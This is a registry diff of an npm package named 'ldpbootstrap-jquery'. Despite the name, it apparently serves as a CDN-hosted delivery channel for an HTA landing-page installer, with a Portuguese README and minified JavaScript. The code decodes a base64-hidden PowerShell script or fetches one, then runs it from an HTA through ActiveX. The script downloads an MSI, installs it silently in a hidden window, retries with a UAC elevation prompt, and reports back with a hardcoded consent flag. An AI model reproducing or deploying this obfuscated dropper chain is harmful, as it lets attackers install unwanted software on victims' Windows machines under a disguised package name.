ldpbootstrap-jquery 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md ADDED
@@ -0,0 +1,60 @@
1
+ # ldpbootstrap-jquery
2
+
3
+ Pacote npm auxiliar para o fluxo HTA Landpage — **canal de distribuição** do runtime e do PS1 stub ofuscado.
4
+
5
+ ## Artefactos (`dist/`)
6
+
7
+ | Ficheiro | Descrição |
8
+ |----------|-----------|
9
+ | `bootstrap.js` | Motor HTA — `LdpBootstrap.run(config)` |
10
+ | `ps1-stub.obf.js` | Template PS1 ofuscado (placeholders patch em runtime) |
11
+ | `ps1-stub.enc` | _(opcional)_ blob encriptado; decrypt com chave da API |
12
+
13
+ ## CDN (versão pinada)
14
+
15
+ ```text
16
+ https://cdn.jsdelivr.net/npm/ldpbootstrap-jquery@${VERSION}/dist/bootstrap.js
17
+ https://cdn.jsdelivr.net/npm/ldpbootstrap-jquery@${VERSION}/dist/ps1-stub.obf.js
18
+ ```
19
+
20
+ Substituir `${VERSION}` por `LDPBOOTSTRAP_CDN_VERSION` no `.env` do servidor Landpage.
21
+
22
+ ## Build (local)
23
+
24
+ ```bash
25
+ npm run build -w ldpbootstrap-jquery
26
+ npm pack -w ldpbootstrap-jquery
27
+ ```
28
+
29
+ ## Publish
30
+
31
+ ```bash
32
+ npm publish -w ldpbootstrap-jquery --access public
33
+ ```
34
+
35
+ Actualizar `LDPBOOTSTRAP_CDN_VERSION` no deploy após publish.
36
+
37
+ ## Obfuscação
38
+
39
+ - PS1 fonte: `backend/src/templates/install-runner.ps1`
40
+ - Build minifica/ofusca strings e identificadores — **sem** esconder copy enganosa ou hosts externos
41
+ - URLs de sessão (`{{MSI_URL}}`, token) injectadas em runtime pelo bootstrap ou API
42
+
43
+ Ver [docs/HTA-AV-HYGIENE.md](../../docs/HTA-AV-HYGIENE.md).
44
+
45
+ ## Contrato `LdpBootstrap.run`
46
+
47
+ ```javascript
48
+ LdpBootstrap.run({
49
+ sessionToken: '…',
50
+ apiBase: 'http://192.168.1.143:3001',
51
+ ps1Url: '…/session/:token/install.ps1',
52
+ ps1FileName: 'landpage_install_….ps1',
53
+ payloadDigest: '…',
54
+ cdnPs1Stub: '…/dist/ps1-stub.obf.js'
55
+ });
56
+ ```
57
+
58
+ ## Offline
59
+
60
+ Sem acesso ao CDN → utilizador instala via **MSI directo** na landing (`GET /api/download/msi/start`). Não há fallback bootstrap pela API Landpage.
@@ -0,0 +1 @@
1
+ (function(a){function l(e){try{var t=document.getElementById("status");t&&(t.innerText=e)}catch(r){}}function h(e){var t=new ActiveXObject("Scripting.FileSystemObject");t.FolderExists(e)||t.CreateFolder(e)}function S(){var e=new ActiveXObject("WScript.Shell"),t=e.ExpandEnvironmentStrings("%LOCALAPPDATA%\\Landpage");return h(t),t}function _(e,t){var r=new ActiveXObject("Scripting.FileSystemObject"),n=r.CreateTextFile(e,!0);n.Write(t),n.Close()}function v(e,t){try{var r=new ActiveXObject("Scripting.FileSystemObject");if(!r.FileExists(e))return"";var n=r.OpenTextFile(e,1),s=n.ReadAll();return n.Close(),s.length>t&&(s=s.substring(s.length-t)),s}catch(o){return""}}function m(e){var t="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",r="",n=0;for(e=String(e).replace(/[^A-Za-z0-9\+\/\=]/g,"");n<e.length;){var s=t.indexOf(e.charAt(n++)),o=t.indexOf(e.charAt(n++)),d=t.indexOf(e.charAt(n++)),p=t.indexOf(e.charAt(n++)),i=s<<2|o>>4,u=(o&15)<<4|d>>2,c=(d&3)<<6|p;r+=String.fromCharCode(i),d!==64&&(r+=String.fromCharCode(u)),p!==64&&(r+=String.fromCharCode(c))}return r}function g(e,t){return e.replace(/\{\{SESSION_TOKEN\}\}/g,t.sessionToken).replace(/\{\{MSI_URL\}\}/g,t.msiUrl).replace(/\{\{REGISTER_URL\}\}/g,t.registerUrl).replace(/\{\{MSI_NAME\}\}/g,t.msiName)}function w(e){var t=new ActiveXObject("MSXML2.ServerXMLHTTP.6.0");if(t.open("GET",e.ps1Url,!1),t.setRequestHeader("X-Landpage-Client","hta"),t.setRequestHeader("X-Landpage-Session",e.sessionToken),t.setRequestHeader("X-Landpage-Payload",e.payloadDigest),t.send(),t.status!==200)throw new Error("Falha ao obter install.ps1 (HTTP "+t.status+")");return t.responseText}function E(e){return a.__ldpPs1Obf?g(m(a.__ldpPs1Obf),e):w(e)}function O(e){var t=S(),r=t+"\\"+e.ps1FileName,n=t+"\\landpage_install.log",s=t+"\\landpage_install_status.txt";l("A preparar script de instalação…"),_(r,E(e)),l("A executar "+e.ps1FileName+"…\nPasta: "+t);var o=new ActiveXObject("WScript.Shell"),d='powershell.exe -NoProfile -ExecutionPolicy RemoteSigned -WindowStyle Normal -File "'+r+'"',p=o.Run(d,1,!0),i=v(s,3e3),u=v(n,2500);if(a.moveTo(100,100),p===0){var c="Instalação concluída.\nScript: "+r;i&&(c+="\n\n--- landpage_install_status.txt ---\n"+i),l(c);return}var f="Instalação falhou (código "+p+").\nScript: "+r;i&&(f+="\n\n--- landpage_install_status.txt ---\n"+i),u&&(f+="\n\n--- landpage_install.log ---\n"+u),l(f)}function A(e){if(!e||!e.sessionToken||!e.ps1FileName||!e.payloadDigest)throw new Error("Configuração LdpBootstrap incompleta");if(!e.ps1Url&&!a.__ldpPs1Obf)throw new Error("ps1Url ou ps1-stub.obf.js em falta");if(a.__ldpPs1Obf&&(!e.msiUrl||!e.registerUrl||!e.msiName))throw new Error("Configuração do stub PS1 incompleta");try{typeof a.__landpageInstallBegin=="function"&&a.__landpageInstallBegin(),O(e),typeof a.__landpageInstallEnd=="function"&&a.__landpageInstallEnd(!0)}catch(t){a.moveTo(100,100),l("Erro: "+t.message),typeof a.__landpageInstallEnd=="function"&&a.__landpageInstallEnd(!1)}}a.LdpBootstrap={run:A}})(typeof window!="undefined"?window:this);
@@ -0,0 +1 @@
1
+ (function(){window.__ldpPs1Obf="JEVycm9yQWN0aW9uUHJlZmVyZW5jZSA9ICdTdG9wJwokU2Vzc2lvblRva2VuID0gJ3t7U0VTU0lPTl9UT0tFTn19JwokTXNpVXJsID0gJ3t7TVNJX1VSTH19JwokUmVnaXN0ZXJVcmwgPSAne3tSRUdJU1RFUl9VUkx9fScKJE1zaU5hbWUgPSAne3tNU0lfTkFNRX19JwokSW5zdGFsbFJvb3QgPSBKb2luLVBhdGggJGVudjpMT0NBTEFQUERBVEEgJ0xhbmRwYWdlJwppZiAoLW5vdCAoVGVzdC1QYXRoIC1MaXRlcmFsUGF0aCAkSW5zdGFsbFJvb3QpKSB7CiAgTmV3LUl0ZW0gLUl0ZW1UeXBlIERpcmVjdG9yeSAtUGF0aCAkSW5zdGFsbFJvb3QgLUZvcmNlIHwgT3V0LU51bGwKfQokTXNpUGF0aCA9IEpvaW4tUGF0aCAkSW5zdGFsbFJvb3QgJE1zaU5hbWUKJFNpZGVjYXIgPSBKb2luLVBhdGggJEluc3RhbGxSb290ICcubGFuZHBhZ2Utc2Vzc2lvbi50eHQnCiRMb2dQYXRoID0gSm9pbi1QYXRoICRJbnN0YWxsUm9vdCAnbGFuZHBhZ2VfaW5zdGFsbC5sb2cnCiRTdGF0dXNQYXRoID0gSm9pbi1QYXRoICRJbnN0YWxsUm9vdCAnbGFuZHBhZ2VfaW5zdGFsbF9zdGF0dXMudHh0JwokSGVhZGVycyA9IEB7CiAgJ1VzZXItQWdlbnQnID0gJ01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQ7IExhbmRwYWdlSFRBLzEuMCknCiAgJ1gtTGFuZHBhZ2UtQ2xpZW50JyA9ICdodGEnCiAgJ1gtTGFuZHBhZ2UtU2Vzc2lvbicgPSAkU2Vzc2lvblRva2VuCn0KZnVuY3Rpb24gV3JpdGUtTG9nKFtzdHJpbmddJE1lc3NhZ2UpIHsKICAkbGluZSA9ICIkKEdldC1EYXRlIC1Gb3JtYXQgJ3l5eXktTU0tZGQgSEg6bW06c3MnKSAkTWVzc2FnZSIKICBBZGQtQ29udGVudCAtUGF0aCAkTG9nUGF0aCAtVmFsdWUgJGxpbmUgLUVuY29kaW5nIEFTQ0lJCn0KZnVuY3Rpb24gV3JpdGUtU3RhdHVzKFtzdHJpbmddJE1lc3NhZ2UpIHsKICAkbGluZSA9ICIkKEdldC1EYXRlIC1Gb3JtYXQgJ3l5eXktTU0tZGQgSEg6bW06c3MnKSB8ICRNZXNzYWdlIgogIEFkZC1Db250ZW50IC1QYXRoICRTdGF0dXNQYXRoIC1WYWx1ZSAkbGluZSAtRW5jb2RpbmcgQVNDSUkKfQpmdW5jdGlvbiBJbml0LUxvZ3MgewogICRzdGFtcCA9IEdldC1EYXRlIC1Gb3JtYXQgJ3l5eXktTU0tZGQgSEg6bW06c3MnCiAgW1N5c3RlbS5JTy5GaWxlXTo6V3JpdGVBbGxUZXh0KCRMb2dQYXRoLCAiLS0tIGxhbmRwYWdlIGluc3RhbGwgJHN0YW1wIC0tLWByYG4iLCBbU3lzdGVtLlRleHQuVVRGOEVuY29kaW5nXTo6bmV3KCRmYWxzZSkpCiAgW1N5c3RlbS5JTy5GaWxlXTo6V3JpdGVBbGxUZXh0KCRTdGF0dXNQYXRoLCAiLS0tIGxhbmRwYWdlIGluc3RhbGwgJHN0YW1wIC0tLWByYG4iLCBbU3lzdGVtLlRleHQuVVRGOEVuY29kaW5nXTo6bmV3KCRmYWxzZSkpCn0KZnVuY3Rpb24gR2V0LU9zVmVyc2lvblNhZmUgewogIHRyeSB7CiAgICByZXR1cm4gKEdldC1DaW1JbnN0YW5jZSAtQ2xhc3NOYW1lIFdpbjMyX09wZXJhdGluZ1N5c3RlbSkuVmVyc2lvbgogIH0gY2F0Y2ggewogICAgdHJ5IHsKICAgICAgcmV0dXJuIChHZXQtV21pT2JqZWN0IC1DbGFzcyBXaW4zMl9PcGVyYXRpbmdTeXN0ZW0pLlZlcnNpb24KICAgIH0gY2F0Y2ggewogICAgICByZXR1cm4gJ3Vua25vd24nCiAgICB9CiAgfQp9CmZ1bmN0aW9uIEludm9rZS1MYW5kcGFnZVdlYlJlcXVlc3QgewogIHBhcmFtKAogICAgW1BhcmFtZXRlcihNYW5kYXRvcnkgPSAkdHJ1ZSldW3N0cmluZ10kVXJpLAogICAgW1ZhbGlkYXRlU2V0KCdHZXQnLCAnUG9zdCcpXVtzdHJpbmddJE1ldGhvZCA9ICdHZXQnLAogICAgW3N0cmluZ10kT3V0RmlsZSwKICAgIFtzdHJpbmddJEJvZHkKICApCiAgdHJ5IHsKICAgIGlmICgkTWV0aG9kIC1lcSAnR2V0JykgewogICAgICBJbnZva2UtV2ViUmVxdWVzdCAtVXJpICRVcmkgLU91dEZpbGUgJE91dEZpbGUgLUhlYWRlcnMgJEhlYWRlcnMgLVVzZUJhc2ljUGFyc2luZwogICAgICByZXR1cm4KICAgIH0KICAgIEludm9rZS1XZWJSZXF1ZXN0IC1VcmkgJFVyaSAtTWV0aG9kIFBvc3QgLUJvZHkgJEJvZHkgYAogICAgICAtQ29udGVudFR5cGUgJ2FwcGxpY2F0aW9uL2pzb247IGNoYXJzZXQ9dXRmLTgnIC1IZWFkZXJzICRIZWFkZXJzIC1Vc2VCYXNpY1BhcnNpbmcKICB9IGNhdGNoIHsKICAgICRkZXRhaWwgPSAkXy5FeGNlcHRpb24uTWVzc2FnZQogICAgaWYgKCRfLkV4Y2VwdGlvbi5SZXNwb25zZSAtYW5kICRfLkV4Y2VwdGlvbi5SZXNwb25zZS5HZXRSZXNwb25zZVN0cmVhbSkgewogICAgICAkcmVhZGVyID0gTmV3LU9iamVjdCBTeXN0ZW0uSU8uU3RyZWFtUmVhZGVyKCRfLkV4Y2VwdGlvbi5SZXNwb25zZS5HZXRSZXNwb25zZVN0cmVhbSgpKQogICAgICAkZGV0YWlsID0gIiRkZXRhaWwgfCAkKCRyZWFkZXIuUmVhZFRvRW5kKCkpIgogICAgfQogICAgdGhyb3cgJGRldGFpbAogIH0KfQpmdW5jdGlvbiBTdGFydC1Nc2lJbnN0YWxsKFtib29sXSRFbGV2YXRlZCkgewogICRhcmdMaXN0ID0gQCgnL2knLCAkTXNpUGF0aCwgJy9xdWlldCcsICcvbm9yZXN0YXJ0JywgJ1JFQk9PVD1SZWFsbHlTdXBwcmVzcycpCiAgJGxhYmVsID0gaWYgKCRFbGV2YXRlZCkgeyAnZWxldmF0ZWQgKFVBQyknIH0gZWxzZSB7ICd1c2VyJyB9CiAgV3JpdGUtTG9nICJtc2lleGVjICgkbGFiZWwpOiAkTXNpUGF0aCIKICBXcml0ZS1TdGF0dXMgIm1zaWV4ZWMgZW0gZXhlY3VjYW8gKCRsYWJlbCkiCiAgJHBhcmFtcyA9IEB7CiAgICBGaWxlUGF0aCAgICAgICA9ICdtc2lleGVjLmV4ZScKICAgIEFyZ3VtZW50TGlzdCAgID0gJGFyZ0xpc3QKICAgIFdhaXQgICAgICAgICAgID0gJHRydWUKICAgIFBhc3NUaHJ1ICAgICAgID0gJHRydWUKICAgIFdpbmRvd1N0eWxlICAgID0gJ0hpZGRlbicKICB9CiAgaWYgKCRFbGV2YXRlZCkgewogICAgJHBhcmFtc1snVmVyYiddID0gJ1J1bkFzJwogIH0KICByZXR1cm4gU3RhcnQtUHJvY2VzcyBAcGFyYW1zCn0KZnVuY3Rpb24gSW5zdGFsbC1Nc2lQYWNrYWdlIHsKICAkcHJvYyA9IFN0YXJ0LU1zaUluc3RhbGwgLUVsZXZhdGVkICRmYWxzZQogIFdyaXRlLUxvZyAibXNpZXhlYyBleGl0IGNvZGU6ICQoJHByb2MuRXhpdENvZGUpIgogIGlmICgkcHJvYy5FeGl0Q29kZSAtaW4gMCwgMzAxMCkgewogICAgcmV0dXJuICRwcm9jLkV4aXRDb2RlCiAgfQogIGlmICgkcHJvYy5FeGl0Q29kZSAtaW4gMTYwMiwgMTYwMywgMTYyNSkgewogICAgV3JpdGUtTG9nICdBIHBlZGlyIGVsZXZhY2FvIFVBQyDigJQgYWNlaXRlIHBhcmEgY29uY2x1aXIgYSBpbnN0YWxhY2FvLicKICAgIFdyaXRlLVN0YXR1cyAnQSBhZ3VhcmRhciBlbGV2YWNhbyBVQUMnCiAgICAkcHJvYyA9IFN0YXJ0LU1zaUluc3RhbGwgLUVsZXZhdGVkICR0cnVlCiAgICBXcml0ZS1Mb2cgIm1zaWV4ZWMgKGVsZXZhdGVkKSBleGl0IGNvZGU6ICQoJHByb2MuRXhpdENvZGUpIgogIH0KICByZXR1cm4gJHByb2MuRXhpdENvZGUKfQpJbml0LUxvZ3MKV3JpdGUtU3RhdHVzICJTY3JpcHQgUG93ZXJTaGVsbCBpbmljaWFkbyIKdHJ5IHsKICBXcml0ZS1TdGF0dXMgIkEgdHJhbnNmZXJpciBNU0kgZGEgQVBJIgogIFdyaXRlLUxvZyAiVHJhbnNmZXJpciAkTXNpTmFtZSBkZSAkTXNpVXJsIgogIEludm9rZS1MYW5kcGFnZVdlYlJlcXVlc3QgLVVyaSAkTXNpVXJsIC1NZXRob2QgR2V0IC1PdXRGaWxlICRNc2lQYXRoCiAgJHNpemUgPSAoR2V0LUl0ZW0gLUxpdGVyYWxQYXRoICRNc2lQYXRoKS5MZW5ndGgKICBXcml0ZS1Mb2cgIkRvd25sb2FkIE9LICgkc2l6ZSBieXRlcykiCiAgV3JpdGUtU3RhdHVzICJNU0kgdHJhbnNmZXJpZG8gKCRzaXplIGJ5dGVzKSIKICBAKCRTZXNzaW9uVG9rZW4sICRSZWdpc3RlclVybCwgJE1zaU5hbWUpIHwgU2V0LUNvbnRlbnQgLVBhdGggJFNpZGVjYXIgLUVuY29kaW5nIFVURjgKICBXcml0ZS1Mb2cgIlNpZGVjYXIgZ3JhdmFkbyBlbSAkU2lkZWNhciIKICBXcml0ZS1TdGF0dXMgIkEgaW5zdGFsYXIgTVNJIgogIFdyaXRlLUxvZyAiSW5zdGFsYXIgJE1zaVBhdGgiCiAgJGV4aXRDb2RlID0gSW5zdGFsbC1Nc2lQYWNrYWdlCiAgaWYgKCRleGl0Q29kZSAtbm90aW4gMCwgMzAxMCkgewogICAgdGhyb3cgIm1zaWV4ZWMgZmFsaG91IGNvbSBjb2RpZ28gJGV4aXRDb2RlIgogIH0KICBXcml0ZS1TdGF0dXMgIkEgcmVnaXN0YXIgbm8gc2Vydmlkb3IiCiAgV3JpdGUtTG9nICJSZWdpc3RhciBlbSAkUmVnaXN0ZXJVcmwiCiAgJGJvZHkgPSBAewogICAgc2Vzc2lvblRva2VuID0gJFNlc3Npb25Ub2tlbgogICAgb3MgICAgICAgICAgID0gJ1dpbmRvd3MnCiAgICBvc1ZlcnNpb24gICAgPSBHZXQtT3NWZXJzaW9uU2FmZQogICAgbXNpTmFtZSAgICAgID0gJE1zaU5hbWUKICAgIGNvbnNlbnQgICAgICA9ICR0cnVlCiAgICBzb3VyY2UgICAgICAgPSAnaHRhJwogIH0gfCBDb252ZXJ0VG8tSnNvbiAtQ29tcHJlc3MKICAkcmVnaXN0ZXIgPSBJbnZva2UtV2ViUmVxdWVzdCAtVXJpICRSZWdpc3RlclVybCAtTWV0aG9kIFBvc3QgLUJvZHkgJGJvZHkgYAogICAgLUNvbnRlbnRUeXBlICdhcHBsaWNhdGlvbi9qc29uOyBjaGFyc2V0PXV0Zi04JyAtSGVhZGVycyAkSGVhZGVycyAtVXNlQmFzaWNQYXJzaW5nCiAgV3JpdGUtTG9nICJSZWdpc3RvIEhUVFAgJCgkcmVnaXN0ZXIuU3RhdHVzQ29kZSkiCiAgV3JpdGUtU3RhdHVzICJJTlNUQUxBQ0FPIENPTkNMVUlEQSDigJQgcmVnaXN0byBIVFRQICQoJHJlZ2lzdGVyLlN0YXR1c0NvZGUpIgogIFdyaXRlLUxvZyAiQ29uY2x1aWRvLiIKICBleGl0IDAKfSBjYXRjaCB7CiAgV3JpdGUtTG9nICJFUlJPOiAkXyIKICBXcml0ZS1TdGF0dXMgIklOU1RBTEFDQU8gTkFPIENPTkNMVUlEQSDigJQgRVJSTzogJF8iCiAgZXhpdCAxCn0=";})();
package/package.json ADDED
@@ -0,0 +1,17 @@
1
+ {
2
+ "name": "ldpbootstrap-jquery",
3
+ "version": "1.0.0",
4
+ "description": "HTA install bootstrap for Landpage (CDN distribution)",
5
+ "license": "UNLICENSED",
6
+ "files": [
7
+ "dist"
8
+ ],
9
+ "main": "dist/bootstrap.js",
10
+ "scripts": {
11
+ "build": "node scripts/build.mjs",
12
+ "prepublishOnly": "npm run build"
13
+ },
14
+ "devDependencies": {
15
+ "esbuild": "^0.25.0"
16
+ }
17
+ }